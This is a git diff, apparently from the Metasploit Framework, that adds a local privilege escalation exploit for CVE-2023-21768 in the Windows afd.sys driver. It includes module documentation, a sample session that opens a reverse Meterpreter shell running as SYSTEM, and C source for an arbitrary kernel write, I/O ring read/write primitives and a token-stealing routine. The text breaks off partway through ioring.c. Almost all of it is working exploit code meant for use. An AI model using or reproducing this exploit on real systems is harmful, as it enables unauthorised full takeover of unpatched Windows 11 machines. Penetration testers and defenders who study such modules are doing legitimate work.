diff --git a/data/exploits/CVE-2023-21768/CVE-2023-21768.x64.dll b/data/exploits/CVE-2023-21768/CVE-2023-21768.x64.dll new file mode 100755 index 0000000000..d60fc03705 Binary files /dev/null and b/data/exploits/CVE-2023-21768/CVE-2023-21768.x64.dll differ diff --git a/documentation/modules/exploit/windows/local/cve_2023_21768_afd_lpe.md b/documentation/modules/exploit/windows/local/cve_2023_21768_afd_lpe.md new file mode 100644 index 0000000000..1a04e3a816 --- /dev/null +++ b/documentation/modules/exploit/windows/local/cve_2023_21768_afd_lpe.md @@ -0,0 +1,58 @@ +## Vulnerable Application + +A vulnerability exists in the Windows Ancillary Function Driver for Winsock +(`afd.sys`) can be leveraged by an attacker to escalate privileges to those of +NT AUTHORITY\SYSTEM. Due to a flaw in `AfdNotifyRemoveIoCompletion`, it is +possible to create an arbitrary kernel Write-Where primitive, which can be used +to manipulate internal I/O ring structures and achieve local privilege +escalation. + +This exploit only supports Windows 11 22H2 up to build 22621.963 (patched in +January 2023 updates). + +### Installation And Setup +Windows 11 versions 22H2 (without the patch) are vulnerable out of the box. +This exploit module has been tested on Windows 11 versions 22H2 build 22621.525 +and 22621.963. + +## Options +No specific options to be set. + +## Verification Steps + +1. Start msfconsole +1. Get a Meterpreter session on a vulnerable host +1. Do: `use windows/local/cve_2023_21768_afd_lpe` +1. Set the `SESSION` and `PAYLOAD` options +1. Do: `run` +1. You should get a privileged session. + +## Scenarios + +### Windows 11 Version 22H2 Build 22621.963 x64 +``` +msf6 exploit(windows/local/cve_2023_21768_afd_lpe) > run verbose=true + +[*] Started reverse TCP handler on 192.168.100.9:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] Windows Build Number = 22621.963 +[+] The target appears to be vulnerable. +[*] Launching netsh to host the DLL... +[+] Process 3748 launched. +[*] Reflectively injecting the DLL into 3748... +[*] Sending stage (200774 bytes) to 192.168.100.9 +[+] Exploit finished, wait for (hopefully privileged) payload execution to complete. +[*] Meterpreter session 11 opened (192.168.100.9:4444 -> 192.168.100.9:55346) at 2023-03-27 18:46:08 +0200 + +meterpreter > getuid +Server username: NT AUTHORITY\SYSTEM +meterpreter > sysinfo +Computer : WIN11PRO +OS : Windows 10 (10.0 Build 22621). +Architecture : x64 +System Language : en_US +Domain : WORKGROUP +Logged On Users : 2 +Meterpreter : x64/windows +``` + diff --git a/external/source/exploits/CVE-2023-21768/.gitignore b/external/source/exploits/CVE-2023-21768/.gitignore new file mode 100644 index 0000000000..c130deb41f --- /dev/null +++ b/external/source/exploits/CVE-2023-21768/.gitignore @@ -0,0 +1,2 @@ +.vs/* +*.vcxproj.filters diff --git a/external/source/exploits/CVE-2023-21768/CVE-2023-21768.sln b/external/source/exploits/CVE-2023-21768/CVE-2023-21768.sln new file mode 100755 index 0000000000..76e55788a2 --- /dev/null +++ b/external/source/exploits/CVE-2023-21768/CVE-2023-21768.sln @@ -0,0 +1,31 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 16 +VisualStudioVersion = 16.0.32407.337 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "CVE-2023-21768", "CVE-2023-21768.vcxproj", "{24AFFB38-5B93-4D0E-8329-D3B27B337D25}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|x64 = Debug|x64 + Debug|x86 = Debug|x86 + Release|x64 = Release|x64 + Release|x86 = Release|x86 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {24AFFB38-5B93-4D0E-8329-D3B27B337D25}.Debug|x64.ActiveCfg = Debug|x64 + {24AFFB38-5B93-4D0E-8329-D3B27B337D25}.Debug|x64.Build.0 = Debug|x64 + {24AFFB38-5B93-4D0E-8329-D3B27B337D25}.Debug|x86.ActiveCfg = Debug|Win32 + {24AFFB38-5B93-4D0E-8329-D3B27B337D25}.Debug|x86.Build.0 = Debug|Win32 + {24AFFB38-5B93-4D0E-8329-D3B27B337D25}.Release|x64.ActiveCfg = Release|x64 + {24AFFB38-5B93-4D0E-8329-D3B27B337D25}.Release|x64.Build.0 = Release|x64 + {24AFFB38-5B93-4D0E-8329-D3B27B337D25}.Release|x86.ActiveCfg = Release|Win32 + {24AFFB38-5B93-4D0E-8329-D3B27B337D25}.Release|x86.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {ED684E2D-0A3F-471F-A3D4-3F508877D62C} + EndGlobalSection +EndGlobal diff --git a/external/source/exploits/CVE-2023-21768/CVE-2023-21768.vcxproj b/external/source/exploits/CVE-2023-21768/CVE-2023-21768.vcxproj new file mode 100755 index 0000000000..35d33751d0 --- /dev/null +++ b/external/source/exploits/CVE-2023-21768/CVE-2023-21768.vcxproj @@ -0,0 +1,220 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 16.0 + Win32Proj + {24affb38-5b93-4d0e-8329-d3b27b337d25} + CVE202321768 + 10.0 + + + + DynamicLibrary + true + v142 + Unicode + + + DynamicLibrary + false + v142 + true + Unicode + + + DynamicLibrary + true + v142 + Unicode + + + DynamicLibrary + false + v142 + true + Unicode + + + + + + + + + + + + + + + + + + + + + true + $(Configuration)\$(PlatformShortName)\ + $(Configuration)\$(PlatformShortName)\ + $(ProjectName).$(PlatformShortName) + true + + + false + $(Configuration)\$(PlatformShortName)\ + $(Configuration)\$(PlatformShortName)\ + $(ProjectName).$(PlatformShortName) + false + + + true + $(Configuration)\$(PlatformShortName)\ + $(Configuration)\$(PlatformShortName)\ + $(ProjectName).$(PlatformShortName) + true + + + false + $(Configuration)\$(PlatformShortName)\ + $(Configuration)\$(PlatformShortName)\ + $(ProjectName).$(PlatformShortName) + false + + + + Level3 + true + WIN32;_DEBUG;CVE202321768_EXPORTS;_WINDOWS;_USRDLL;UMDF_USING_NTSTATUS;%(PreprocessorDefinitions) + false + NotUsing + pch.h + ..\..\ReflectiveDLLInjection\dll\src;..\..\ReflectiveDLLInjection\common;..\..\include\windows;%(AdditionalIncludeDirectories) + ProgramDatabase + true + OnlyExplicitInline + true + MultiThreaded + false + + + Windows + true + false + true + $(OutDir)$(TargetName).map + false + + + + + Level3 + false + false + + + WIN32;NDEBUG;CVE202321768_EXPORTS;_WINDOWS;_USRDLL;UMDF_USING_NTSTATUS;%(PreprocessorDefinitions) + false + NotUsing + pch.h + ..\..\ReflectiveDLLInjection\dll\src;..\..\ReflectiveDLLInjection\common;..\..\include\windows;%(AdditionalIncludeDirectories) + true + OnlyExplicitInline + true + MultiThreaded + + + Windows + true + true + false + false + $(OutDir)$(TargetName).map + false + + + + + Level3 + true + _DEBUG;CVE202321768_EXPORTS;_WINDOWS;_USRDLL;UMDF_USING_NTSTATUS;%(PreprocessorDefinitions) + false + NotUsing + pch.h + ..\..\ReflectiveDLLInjection\dll\src;..\..\ReflectiveDLLInjection\common;..\..\include\windows;%(AdditionalIncludeDirectories) + ProgramDatabase + true + OnlyExplicitInline + true + MultiThreaded + false + + + Windows + true + false + true + $(OutDir)$(TargetName).map + false + + + + + Level3 + false + false + + + NDEBUG;CVE202321768_EXPORTS;_WINDOWS;_USRDLL;UMDF_USING_NTSTATUS;%(PreprocessorDefinitions) + false + NotUsing + pch.h + ..\..\ReflectiveDLLInjection\dll\src;..\..\ReflectiveDLLInjection\common;..\..\include\windows;%(AdditionalIncludeDirectories) + true + AnySuitable + true + MultiThreaded + MinSpace + false + Size + + + Windows + true + true + false + false + $(OutDir)$(TargetName).map + false + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/external/source/exploits/CVE-2023-21768/dllmain.c b/external/source/exploits/CVE-2023-21768/dllmain.c new file mode 100755 index 0000000000..1b4abe20b5 --- /dev/null +++ b/external/source/exploits/CVE-2023-21768/dllmain.c @@ -0,0 +1,37 @@ +#define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR +#define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN +#include "ReflectiveLoader.c" + +#include +#include +#include + +DWORD Exploit(PVOID pPayload); + +LPVOID main(LPVOID lpReserved) { + Exploit(lpReserved); + return; +} + +BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved) +{ + switch (dwReason) + { + case DLL_QUERY_HMODULE: + hAppInstance = hinstDLL; + if (lpReserved != NULL) + { + *(HMODULE*)lpReserved = hAppInstance; + } + break; + case DLL_PROCESS_ATTACH: + hAppInstance = hinstDLL; + main(lpReserved); + break; + case DLL_PROCESS_DETACH: + case DLL_THREAD_ATTACH: + case DLL_THREAD_DETACH: + break; + } + return TRUE; +} \ No newline at end of file diff --git a/external/source/exploits/CVE-2023-21768/exploit.c b/external/source/exploits/CVE-2023-21768/exploit.c new file mode 100755 index 0000000000..4a87a23266 --- /dev/null +++ b/external/source/exploits/CVE-2023-21768/exploit.c @@ -0,0 +1,214 @@ +#include +#include "exploit.h" +#include "ioring.h" + +BOOL InitialSetup(void) { + HMODULE hNtdll = LoadLibrary(L"ntdll"); + + if (!hNtdll) { + dprintf("Unable to load ntdll.dll"); + goto failure; + } + + if (!(NtCreateFile = (fNtCreateFile)GetProcAddress(hNtdll, "NtCreateFile"))) { + dprintf("NtCreateFile() not found in ntdll.dll"); + goto failure; + } + + if (!(NtDeviceIoControlFile = (fNtDeviceIoControlFile)GetProcAddress(hNtdll, "NtDeviceIoControlFile"))) { + dprintf("NtDeviceIoControlFile() not found in ntdll.dll"); + goto failure; + } + + if (!(NtCreateIoCompletion = (fNtCreateIoCompletion)GetProcAddress(hNtdll, "NtCreateIoCompletion"))) { + dprintf("NtCreateIoCompletion() not found in ntdll.dll"); + goto failure; + } + + if (!(NtSetIoCompletion = (fNtSetIoCompletion)GetProcAddress(hNtdll, "NtSetIoCompletion"))) { + dprintf("NtSetIoCompletion() not found in ntdll.dll"); + goto failure; + } + + if (!(NtQuerySystemInformation = (fNtQuerySystemInformation)GetProcAddress(hNtdll, "NtQuerySystemInformation"))) { + dprintf("NtQuerySystemInformation() not found in ntdll.dll"); + goto failure; + } + + return TRUE; + +failure: + if (hNtdll) { + FreeLibrary(hNtdll); + } + return FALSE; +} + +HRESULT ArbitraryKernelWrite0x1(void* pPwnPtr) { + HRESULT ret; + NTSTATUS ntStatus; + HANDLE hCompletion = INVALID_HANDLE_VALUE; + IO_STATUS_BLOCK IoStatusBlock = { 0 }; + HANDLE hSocket = INVALID_HANDLE_VALUE; + UNICODE_STRING ObjectFilePath = { 0 }; + OBJECT_ATTRIBUTES ObjectAttributes = { 0 }; + AFD_NOTIFYSOCK_DATA Data = { 0 }; + HANDLE hEvent = NULL; + HANDLE hThread = NULL; + + // Hard-coded attributes for an IPv4 TCP socket + BYTE bExtendedAttributes[] = { + 0x00, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x1E, 0x00, 0x41, 0x66, 0x64, 0x4F, 0x70, 0x65, 0x6E, 0x50, + 0x61, 0x63, 0x6B, 0x65, 0x74, 0x58, 0x58, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x02, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x60, 0xEF, 0x3D, 0x47, 0xFE + }; + + ntStatus = NtCreateIoCompletion(&hCompletion, MAXIMUM_ALLOWED, NULL, 1); + + if (ntStatus != STATUS_SUCCESS) { + dprintf("NtCreateIoCompletion() failed (NTSTATUS=0x%X)", ntStatus); + ret = E_FAIL; + goto done; + } + + ntStatus = NtSetIoCompletion(hCompletion, 0x1337, &IoStatusBlock, 0, 0x100); + + if (ntStatus != STATUS_SUCCESS) { + dprintf("NtSetIoCompletion() failed (NTSTATUS=0x%X)", ntStatus); + ret = E_FAIL; + goto done; + } + + ObjectFilePath.Buffer = (PWSTR)L"\\Device\\Afd\\Endpoint"; + ObjectFilePath.Length = (USHORT)wcslen(ObjectFilePath.Buffer) * sizeof(wchar_t); + ObjectFilePath.MaximumLength = ObjectFilePath.Length; + + ObjectAttributes.Length = sizeof(ObjectAttributes); + ObjectAttributes.ObjectName = &ObjectFilePath; + ObjectAttributes.Attributes = 0x40; + + ntStatus = NtCreateFile(&hSocket, MAXIMUM_ALLOWED, &ObjectAttributes, &IoStatusBlock, NULL, 0, FILE_SHARE_READ | FILE_SHARE_WRITE, 1, 0, bExtendedAttributes, sizeof(bExtendedAttributes)); + + if (ntStatus != STATUS_SUCCESS) { + dprintf("NtCreateFile() failed (NTSTATUS=0x%X)", ntStatus); + ret = E_FAIL; + goto done; + } + + Data.hCompletion = hCompletion; + + Data.pData1 = VirtualAlloc(NULL, 0x2000, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); + if (!Data.pData1) { + dprintf("Call #1 to VirtualAlloc() failed (0x%X)", GetLastError()); + ret = E_FAIL; + goto done; + } + + Data.pData2 = VirtualAlloc(NULL, 0x2000, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); + if (!Data.pData2) { + dprintf("Call #2 to VirtualAlloc() failed (0x%X)", GetLastError()); + ret = E_FAIL; + goto done; + } + + Data.dwCounter = 0x1; + Data.dwLen = 0x1; + Data.dwTimeout = 100000000; + Data.pPwnPtr = pPwnPtr; + + hEvent = CreateEvent(NULL, 0, 0, NULL); + + if (!hEvent) { + dprintf("Call to CreateEvent() failed (0x%X)", GetLastError()); + ret = E_FAIL; + goto done; + } + + NtDeviceIoControlFile(hSocket, hEvent, NULL, NULL, &IoStatusBlock, AFD_NOTIFYSOCK_IOCTL, &Data, 0x30, NULL, 0); + + ret = S_OK; + +done: + if (hCompletion != INVALID_HANDLE_VALUE) { + CloseHandle(hCompletion); + } + + if (hSocket != INVALID_HANDLE_VALUE) { + CloseHandle(hSocket); + } + + if (hEvent) { + CloseHandle(hEvent); + } + + if (Data.pData1) { + VirtualFree(Data.pData1, 0, MEM_RELEASE); + } + + if (Data.pData2) { + VirtualFree(Data.pData2, 0, MEM_RELEASE); + } + + return ret; +} + +void ExecutePayload(PMSF_PAYLOAD pMsfPayload) { + if (!pMsfPayload) { + return; + } + + PVOID pPayload = VirtualAlloc(NULL, pMsfPayload->dwSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); + if (!pPayload) { + return; + } + + CopyMemory(pPayload, &pMsfPayload->cPayloadData, pMsfPayload->dwSize); + CreateThread(NULL, 0, pPayload, NULL, 0, NULL); +} + +DWORD Exploit(PVOID pPayload) { + dprintf("Starting exploit..."); + + PIORING_OBJECT pIoRing = NULL; + DWORD dwPidSelf = GetCurrentProcessId(); + + if (!InitialSetup()) { + dprintf("Initial setup failure"); + return EXIT_FAILURE; + } + + if (IoRingSetup(&pIoRing) != S_OK) { + dprintf("IORING setup failed"); + return EXIT_FAILURE; + } + + dprintf("IoRing Obj Address at %llx", pIoRing); + + if (ArbitraryKernelWrite0x1((char*)&pIoRing->RegBuffers + 0x3) != S_OK) { + dprintf("IoRing->RegBuffers overwrite failed"); + return EXIT_FAILURE; + } + + dprintf("IoRing->RegBuffers overwritten with address 0x1000000"); + + if (ArbitraryKernelWrite0x1((char*)&pIoRing->RegBuffersCount) != S_OK) { + dprintf("IoRing->RegBuffersCount overwrite failed"); + return EXIT_FAILURE; + } + + dprintf("IoRing->RegBuffersCount overwritten with 0x1"); + + if (IoRingLpe(dwPidSelf, 0x1000000, 0x1) != S_OK) { + dprintf("LPE Failed"); + return EXIT_FAILURE; + } + + dprintf("Current process token elevated to SYSTEM!"); + + ExecutePayload(pPayload); + + dprintf("The payload has been executed"); + + return EXIT_SUCCESS; +} \ No newline at end of file diff --git a/external/source/exploits/CVE-2023-21768/exploit.h b/external/source/exploits/CVE-2023-21768/exploit.h new file mode 100755 index 0000000000..12988833a7 --- /dev/null +++ b/external/source/exploits/CVE-2023-21768/exploit.h @@ -0,0 +1,197 @@ +#pragma once + +//#define DEBUGTRACE + +#include +#include "common.h" +#include "definitions.h" + +#define EPROC_TOKEN_OFFSET 0x4b8 + +#define SystemHandleInformation (SYSTEM_INFORMATION_CLASS)16 + +typedef struct _OBJECT_TYPE_INFORMATION +{ + UNICODE_STRING TypeName; + ULONG TotalNumberOfObjects; + ULONG TotalNumberOfHandles; + ULONG TotalPagedPoolUsage; + ULONG TotalNonPagedPoolUsage; + ULONG TotalNamePoolUsage; + ULONG TotalHandleTableUsage; + ULONG HighWaterNumberOfObjects; + ULONG HighWaterNumberOfHandles; + ULONG HighWaterPagedPoolUsage; + ULONG HighWaterNonPagedPoolUsage; + ULONG HighWaterNamePoolUsage; + ULONG HighWaterHandleTableUsage; + ULONG InvalidAttributes; + GENERIC_MAPPING GenericMapping; + ULONG ValidAccessMask; + BOOLEAN SecurityRequired; + BOOLEAN MaintainHandleCount; + BOOLEAN TypeIndex; + CHAR ReservedByte; + ULONG PoolType; + ULONG DefaultPagedPoolCharge; + ULONG DefaultNonPagedPoolCharge; +} OBJECT_TYPE_INFORMATION, * POBJECT_TYPE_INFORMATION; + +typedef struct _DISPATCHER_HEADER +{ + union + { + volatile long Lock; + long LockNV; + struct + { + unsigned char Type; + unsigned char Signalling; + unsigned char Size; + unsigned char Reserved1; + }; + struct + { + unsigned char TimerType; + union + { + unsigned char TimerControlFlags; + struct + { + struct + { + unsigned char Absolute : 1; + unsigned char Wake : 1; + unsigned char EncodedTolerableDelay : 6; + }; + unsigned char Hand; + union + { + unsigned char TimerMiscFlags; + struct + { + unsigned char Index : 6; + unsigned char Inserted : 1; + volatile unsigned char Expired : 1; + }; + }; + }; + }; + }; + struct + { + unsigned char Timer2Type; + union + { + unsigned char Timer2Flags; + struct + { + struct + { + unsigned char Timer2Inserted : 1; + unsigned char Timer2Expiring : 1; + unsigned char Timer2CancelPending : 1; + unsigned char Timer2SetPending : 1; + unsigned char Timer2Running : 1; + unsigned char Timer2Disabled : 1; + unsigned char Timer2ReservedFlags : 2; + }; + unsigned char Timer2ComponentId; + unsigned char Timer2RelativeId; + }; + }; + }; + struct + { + unsigned char QueueType; + union + { + unsigned char QueueControlFlags; + struct + { + struct + { + unsigned char Abandoned : 1; + unsigned char DisableIncrement : 1; + unsigned char QueueReservedControlFlags : 6; + }; + unsigned char QueueSize; + unsigned char QueueReserved; + }; + }; + }; + struct + { + unsigned char ThreadType; + unsigned char ThreadReserved; + union + { + unsigned char ThreadControlFlags; + struct + { + struct + { + unsigned char CycleProfiling : 1; + unsigned char CounterProfiling : 1; + unsigned char GroupScheduling : 1; + unsigned char AffinitySet : 1; + unsigned char Tagged : 1; + unsigned char EnergyProfiling : 1; + unsigned char SchedulerAssist : 1; + unsigned char ThreadReservedControlFlags : 1; + }; + union + { + unsigned char DebugActive; + struct + { + unsigned char ActiveDR7 : 1; + unsigned char Instrumented : 1; + unsigned char Minimal : 1; + unsigned char Reserved4 : 2; + unsigned char AltSyscall : 1; + unsigned char Emulation : 1; + unsigned char Reserved5 : 1; + }; + }; + }; + }; + }; + struct + { + unsigned char MutantType; + unsigned char MutantSize; + unsigned char DpcActive; + unsigned char MutantReserved; + }; + }; + long SignalState; + LIST_ENTRY WaitListHead; +} DISPATCHER_HEADER, * PDISPATCHER_HEADER; + +typedef struct _KEVENT +{ + struct _DISPATCHER_HEADER Header; +} KEVENT, * PKEVENT; + + +#define AFD_NOTIFYSOCK_IOCTL 0x12127 + +// Good enough™ best guess on what this structure is. +typedef struct AFD_NOTIFYSOCK_DATA +{ + HANDLE hCompletion; + PVOID pData1; + PVOID pData2; + PVOID pPwnPtr; + DWORD dwCounter; + DWORD dwTimeout; + DWORD dwLen; + char lol[0x4]; +}AFD_NOTIFYSOCK_DATA; + +fNtCreateFile NtCreateFile; +fNtDeviceIoControlFile NtDeviceIoControlFile; +fNtCreateIoCompletion NtCreateIoCompletion; +fNtSetIoCompletion NtSetIoCompletion; +fNtQuerySystemInformation NtQuerySystemInformation; \ No newline at end of file diff --git a/external/source/exploits/CVE-2023-21768/ioring.c b/external/source/exploits/CVE-2023-21768/ioring.c new file mode 100755 index 0000000000..3a74b9725c --- /dev/null +++ b/external/source/exploits/CVE-2023-21768/ioring.c @@ -0,0 +1,275 @@ +#include +#include "ioring.h" + +HIORING hIoRing = NULL; +PIORING_OBJECT pIoRing = NULL; +HANDLE hInPipe = INVALID_HANDLE_VALUE; +HANDLE hOutPipe = INVALID_HANDLE_VALUE; +HANDLE hInPipeClient = INVALID_HANDLE_VALUE; +HANDLE hOutPipeClient = INVALID_HANDLE_VALUE; + +HRESULT GetObjPtr(PVOID* ppObjAddr, ULONG ulPid, HANDLE handle) { + HRESULT ret; + PSYSTEM_HANDLE_INFORMATION pHandleInfo = NULL; + ULONG ulBytes = 0; + NTSTATUS ntStatus = STATUS_SUCCESS; + + while ((ntStatus = NtQuerySystemInformation(SystemHandleInformation, pHandleInfo, ulBytes, &ulBytes)) == STATUS_INFO_LENGTH_MISMATCH) { + if (pHandleInfo) { + pHandleInfo = HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, pHandleInfo, 2 * (SIZE_T) ulBytes); + } else { + pHandleInfo = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 2 * (SIZE_T) ulBytes); + } + } + + if (ntStatus != STATUS_SUCCESS) { + dprintf("NtQuerySystemInformation() failed (NTSTATUS=0x%X)", ntStatus); + ret = E_FAIL; + goto done; + } + + if (pHandleInfo == NULL) { + dprintf("Heap memory allocation failed (0x%X)", GetLastError()); + ret = E_FAIL; + goto done; + } + + for (ULONG i = 0; i < pHandleInfo->NumberOfHandles; i++) { + if ((pHandleInfo->Handles[i].UniqueProcessId == ulPid) && (pHandleInfo->Handles[i].HandleValue == (USHORT) handle)) { + *ppObjAddr = pHandleInfo->Handles[i].Object; + ret = S_OK; + break; + } + } + +done: + if (pHandleInfo) { + HeapFree(GetProcessHeap(), 0, pHandleInfo); + } + return ret; +} + +HRESULT IoRingSetup(PIORING_OBJECT* ppIoRingAddr) { + IORING_CREATE_FLAGS ioRingFlags = { 0 }; + + ioRingFlags.Required = IORING_CREATE_REQUIRED_FLAGS_NONE; + ioRingFlags.Advisory = IORING_CREATE_REQUIRED_FLAGS_NONE; + + if (CreateIoRing(IORING_VERSION_3, ioRingFlags, 0x10000, 0x20000, &hIoRing) != S_OK) { + dprintf("Call to CreateIoRing() failed (0x%X)", GetLastError()); + return E_FAIL; + } + + if (GetObjPtr(ppIoRingAddr, GetCurrentProcessId(), *(PHANDLE)hIoRing) != S_OK) { + dprintf("Failed to get the IoRing object address"); + return E_FAIL; + } + + pIoRing = *ppIoRingAddr; + + hInPipe = CreateNamedPipe(L"\\\\.\\pipe\\ioring_in", PIPE_ACCESS_DUPLEX, PIPE_WAIT, 255, 0x1000, 0x1000, 0, NULL); + hOutPipe = CreateNamedPipe(L"\\\\.\\pipe\\ioring_out", PIPE_ACCESS_DUPLEX, PIPE_WAIT, 255, 0x1000, 0x1000, 0, NULL); + + if ((hInPipe == INVALID_HANDLE_VALUE) || (hOutPipe == INVALID_HANDLE_VALUE)) { + dprintf("Named pipe creation failure (0x%X)", GetLastError()); + return E_FAIL; + } + + hInPipeClient = CreateFile(L"\\\\.\\pipe\\ioring_in", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); + hOutPipeClient = CreateFile(L"\\\\.\\pipe\\ioring_out", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); + + if ((hInPipeClient == INVALID_HANDLE_VALUE) || (hOutPipeClient == INVALID_HANDLE_VALUE)) { + dprintf("Error while opening named pipes (0x%X)", GetLastError()); + return E_FAIL; + } + + return S_OK; +} + +HRESULT IoRingRead(PULONG64 pRegisterBuffers, ULONG64 pReadAddr, PVOID pReadBuffer, ULONG ulReadLen) { + HRESULT ret; + PIOP_MC_BUFFER_ENTRY pMcBufferEntry = NULL; + IORING_HANDLE_REF reqFile = IoRingHandleRefFromHandle(hOutPipeClient); + IORING_BUFFER_REF reqBuffer = IoRingBufferRefFromIndexAndOffset(0, 0); + IORING_CQE cqe = { 0 }; + + pMcBufferEntry = VirtualAlloc(NULL, sizeof(IOP_MC_BUFFER_ENTRY), MEM_COMMIT, PAGE_READWRITE); + + if (!pMcBufferEntry) { + dprintf("Call to VirtualAlloc() failed (0x%X)", GetLastError()); + ret = E_FAIL; + goto done; + } + + pMcBufferEntry->Address = (PVOID)pReadAddr; + pMcBufferEntry->Length = ulReadLen; + pMcBufferEntry->Type = 0xc02; + pMcBufferEntry->Size = 0x80; + pMcBufferEntry->AccessMode = 1; + pMcBufferEntry->ReferenceCount = 1; + + pRegisterBuffers[0] = (ULONG64)pMcBufferEntry; + + if (BuildIoRingWriteFile(hIoRing, reqFile, reqBuffer, ulReadLen, 0, FILE_WRITE_FLAGS_NONE, (UINT_PTR)NULL, IOSQE_FLAGS_NONE) != S_OK) { + dprintf("Call to BuildIoRingWriteFile() failed (0x%X)", GetLastError()); + ret = E_FAIL; + goto done; + } + + if (SubmitIoRing(hIoRing, 0, 0, NULL) != S_OK) { + dprintf("Call to SubmitIoRing() failed (0x%X)", GetLastError()); + ret = E_FAIL; + goto done; + } + + if (PopIoRingCompletion(hIoRing, &cqe) != S_OK) { + dprintf("Call to PopIoRingCompletion() failed (0x%X)", GetLastError()); + ret = E_FAIL; + goto done; + } + + if (cqe.ResultCode != S_OK) { + ret = cqe.ResultCode; + dprintf("the I/O ring operation failed (ResultCode=0x%X)", ret); + goto done; + } + + if (!ReadFile(hOutPipe, pReadBuffer, ulReadLen, NULL, NULL)) { + dprintf("Call to ReadFile() failed (0x%X)", GetLastError()); + ret = E_FAIL; + goto done; + } + + ret = S_OK; + +done: + if (pMcBufferEntry) { + VirtualFree(pMcBufferEntry, 0, MEM_RELEASE); + } + return ret; +} + +HRESULT IoRingWrite(PULONG64 pRegisterBuffers, ULONG64 pWriteAddr, PVOID pWriteBuffer, ULONG ulWriteLen) { + HRESULT ret; + PIOP_MC_BUFFER_ENTRY pMcBufferEntry = NULL; + IORING_HANDLE_REF reqFile = IoRingHandleRefFromHandle(hInPipeClient); + IORING_BUFFER_REF reqBuffer = IoRingBufferRefFromIndexAndOffset(0, 0); + IORING_CQE cqe = { 0 }; + + if (!WriteFile(hInPipe, pWriteBuffer, ulWriteLen, NULL, NULL)) + { + dprintf("Call to WriteFile() failed (0x%X)", GetLastError()); + ret = E_FAIL; + goto done; + } + + pMcBufferEntry = VirtualAlloc(NULL, sizeof(IOP_MC_BUFFER_ENTRY), MEM_COMMIT, PAGE_READWRITE); + + if (!pMcBufferEntry) + { + dprintf("Call to VirtualAlloc() failed (0x%X)", GetLastError()); + ret = E_FAIL; + goto done; + } + + pMcBufferEntry->Address = (PVOID)pWriteAddr; + pMcBufferEntry->Length = ulWriteLen; + pMcBufferEntry->Type = 0xc02; + pMcBufferEntry->Size = 0x80; + pMcBufferEntry->AccessMode = 1; + pMcBufferEntry->ReferenceCount = 1; + + pRegisterBuffers[0] = (ULONG64)pMcBufferEntry; + + if (BuildIoRingReadFile(hIoRing, reqFile, reqBuffer, ulWriteLen, 0, (UINT_PTR)NULL, IOSQE_FLAGS_NONE) != S_OK) { + dprintf("Call to BuildIoRingReadFile() failed (0x%X)", GetLastError()); + ret = E_FAIL; + goto done; + } + + if (SubmitIoRing(hIoRing, 0, 0, NULL) != S_OK) { + dprintf("Call to SubmitIoRing() failed (0x%X)", GetLastError()); + ret = E_FAIL; + goto done; + } + + if (PopIoRingCompletion(hIoRing, &cqe) != S_OK) { + dprintf("Call to PopIoRingCompletion() failed (0x%X)", GetLastError()); + ret = E_FAIL; + goto done; + } + + if (cqe.ResultCode != S_OK) { + ret = cqe.ResultCode; + dprintf("the I/O ring operation failed (ResultCode=0x%X)", ret); + goto done; + } + + ret = S_OK; + +done: + if (pMcBufferEntry) { + VirtualFree(pMcBufferEntry, 0, MEM_RELEASE); + } + return ret; +} + +HRESULT IoRingLpe(ULONG pid, ULONG64 ullFakeRegBufferAddr, ULONG ulFakeRegBufferCnt) { + HANDLE hProc = NULL; + ULONG64 ullSystemEPROCaddr = 0; + ULONG64 ullTargEPROCaddr = 0; + PVOID pFakeRegBuffers = NULL; + _HIORING* phIoRing = NULL; + ULONG64 ullSysToken = 0; + char null[0x10] = { 0 }; + + hProc = OpenProcess(PROCESS_QUERY_INFORMATION, 0, pid); + + if (!hProc) { + dprintf("Call to OpenProcess() failed (0x%X)", GetLastError()); + return E_FAIL; + } + + if (GetObjPtr((PVOID*)&ullSystemEPROCaddr, 4, (HANDLE)4) != S_OK) { + dprintf("Unable to get System EPROC address"); + return E_FAIL; + } + + dprintf("System EPROC address: %llx", ullSystemEPROCaddr); + + if (GetObjPtr((PVOID*)&ullTargEPROCaddr, GetCurrentProcessId(), hProc) != S_OK) { + dprintf("Unable to get Current EPROC address"); + return E_FAIL; + } + + dprintf("Current process EPROC address: %llx", ullTargEPROCaddr); + + pFakeRegBuffers = VirtualAlloc((LPVOID)ullFakeRegBufferAddr, sizeof(ULONG64) * ulFakeRegBufferCnt, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); + + if (pFakeRegBuffers != (PVOID)ullFakeRegBufferAddr) { + dprintf("Call to VirtualAlloc() failed (0x%X)", GetLastError()); + return E_FAIL; + } + + memset(pFakeRegBuffers, 0, sizeof(ULONG64) * ulFakeRegBufferCnt); + + phIoRing = 